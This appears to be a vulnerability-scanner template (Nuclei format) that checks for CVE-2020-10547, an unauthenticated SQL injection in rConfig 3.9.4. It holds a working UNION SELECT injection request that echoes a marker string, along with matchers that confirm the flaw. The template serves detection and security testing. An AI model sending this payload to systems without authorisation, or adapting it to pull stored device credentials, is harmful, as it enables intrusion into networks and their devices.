id: CVE-2020-10547

info:
  name: rConfig 3.9.4 - SQL Injection
  author: madrobot
  severity: critical
  description: rConfig 3.9.4 and previous versions has unauthenticated compliancepolicyelements.inc.php SQL injection. Because nodes' passwords are stored by default in cleartext, this vulnerability leads to lateral movement, granting an attacker access to monitored network devices.
  reference:
    - https://github.com/theguly/exploits/blob/master/CVE-2020-10547.py https://theguly.github.io/2020/09/rconfig-3.9.4-multiple-vulnerabilities/
    - https://github.com/theguly/exploits/blob/master/CVE-2020-10547.py
    - https://theguly.github.io/2020/09/rconfig-3.9.4-multiple-vulnerabilities/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-10547
    cwe-id: CWE-89
    epss-score: 0.39106
    cpe: cpe:2.3:a:rconfig:rconfig:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: rconfig
    product: rconfig
  tags: cve,cve2020,rconfig,sqli

http:
  - method: GET
    path:
      - "{{BaseURL}}/compliancepolicyelements.inc.php?search=True&searchField=antani'+union+select+(select+concat(0x223e3c42523e5b70726f6a6563742d646973636f766572795d)+limit+0,1),NULL,NULL,NULL,NULL+--+&searchColumn=elementName&searchOption=contains"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "[project-discovery]"

      - type: status
        status:
          - 200